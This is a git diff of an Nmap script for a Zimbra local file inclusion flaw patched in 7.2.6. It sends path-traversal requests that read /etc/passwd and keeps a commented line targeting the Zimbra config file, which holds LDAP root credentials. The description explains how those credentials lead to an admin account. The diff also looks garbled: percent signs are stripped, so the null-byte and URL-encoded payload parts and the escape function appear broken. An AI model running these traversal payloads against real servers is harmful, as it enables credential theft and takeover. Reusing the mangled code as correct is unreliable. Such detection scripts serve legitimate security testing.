diff --git a/scripts/http-vuln-0-day-lfi-zimbra.nse b/scripts/http-vuln-zimbra-lfi.nse similarity index 51% rename from scripts/http-vuln-0-day-lfi-zimbra.nse rename to scripts/http-vuln-zimbra-lfi.nse index 8e8522fc6..0eb2d2601 100644 --- a/scripts/http-vuln-0-day-lfi-zimbra.nse +++ b/scripts/http-vuln-zimbra-lfi.nse @@ -3,21 +3,19 @@ local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local vulns = require "vulns" - + description = [[ -A 0 day has been released on the 6th december 2013 by rubina119. -The vulnerability is a local file inclusion that can retrieve the credentials of the Zimbra installations etc. -Using this script, we can detect if the file is present. -If the file is present, we assume that the host might be vulnerable. - -In future version, we'll extract credentials from the file but it's not implemented yet and -the detection will be accurate. - +A 0 day was been released on the 6th december 2013 by rubina119, and was patched in Zimbra 7.2.6. + +The vulnerability is a local file inclusion that can retrieve any file from the server. + +Currently, we read /etc/passwd and /dev/null, and compare the lengths to determine vulnerability. + TODO: -Add the possibility to read compressed file (because we're only looking if it exists) -Then, send some payload to create the new mail account +Add the possibility to read compressed file. +Then, send some payload to create the new mail account. ]] - + --- -- @usage -- nmap -sV --script http-vuln-0-day-lfi-zimbra @@ -50,30 +48,32 @@ Then, send some payload to create the new mail account -- -- @args http-vuln-0-day-lfi-zimbra.uri URI. Default: /zimbra --- - -author = "Paul AMAR " + +author = "Paul AMAR , Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"exploit","vuln","intrusive"} - + portrule = shortport.http - + -- function to escape specific characters -local escape = function(str) return string.gsub(str, "%%", "%%%%") end - +local escape = function(str) return string.gsub(str, "", "") end + action = function(host, port) local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/zimbra" - + local vuln = { - title = 'Zimbra 0-day Local File Inclusion (Gather admin credentials)', + title = 'Zimbra Local File Inclusion (Gather admin credentials)', state = vulns.STATE.NOT_VULN, -- default description = [[ This script exploits a Local File Inclusion in -/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz -which allows us to see localconfig.xml -that contains LDAP root credentials wich allow us to make requests in +/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz +which allows us to see any file on the filesystem, including config files +that contain LDAP root credentials, allowing us to make requests in /service/admin/soap API with the stolen LDAP credentials to create user -with administration privlegies -and gain acces to the Administration Console.]], +with administration privileges and gain access to the Administration Console. + +This issue was patched in Zimbra 7.2.6. +]], references = { 'http://www.exploit-db.com/exploits/30085/', }, @@ -82,20 +82,35 @@ and gain acces to the Administration Console.]], }, } local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) - local url = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00" - + + local file_short = "../../../../../../../../../dev/null" + local file_long = "../../../../../../../../../etc/passwd" + --local file_long = "../../../../../../../../../opt/zimbra/conf/localconfig.xml" + + local url_short = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_short .. "00" + local url_long = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_long .. "00" + stdnse.print_debug(1, "Trying to detect if the server is vulnerable") - stdnse.print_debug(1, "GET " .. uri .. escape(url)) - - local detection_session = http.get(host, port, uri..url) - - if detection_session and detection_session.status == 200 then - if string.match(escape(detection_session.header['content-type']), "application/x-javascript") then - stdnse.print_debug(1, "The website may be vulnerable to the Zimbra 0-day.") - vuln.state = vulns.STATE.EXPLOIT - return vuln_report:make_output(detection_session.body) + stdnse.print_debug(1, "GET " .. uri .. escape(url_short)) + stdnse.print_debug(1, "GET " .. uri .. escape(url_long)) + + local session_short = http.get(host, port, uri..url_short) + local session_long = http.get(host, port, uri..url_long) + + if session_short and session_short.status == 200 and session_long and session_long.status == 200 then + if session_short.header['content-type'] == "application/x-javascript" then + -- Because .gz format is somewhat odd, giving a bit of a margin of error here + if (string.len(session_long.body) - string.len(session_short.body)) > 100 then + stdnse.print_debug(1, "The website appears to be vulnerable a local file inclusion vulnerability in Zimbra") + vuln.state = vulns.STATE.EXPLOIT + return vuln_report:make_output(vuln) + else + stdnse.print_debug(1, "The host does not appear to be vulnerable") + vuln.state = vulns.STATE.NOT_VULN + return vuln_report:make_output(vuln) + end else - stdnse.print_debug(1, "Bad content-type for the resource : " .. detection_session.header['content-type']) + stdnse.print_debug(1, "Bad content-type for the resource : " .. session_short.header['content-type']) return end else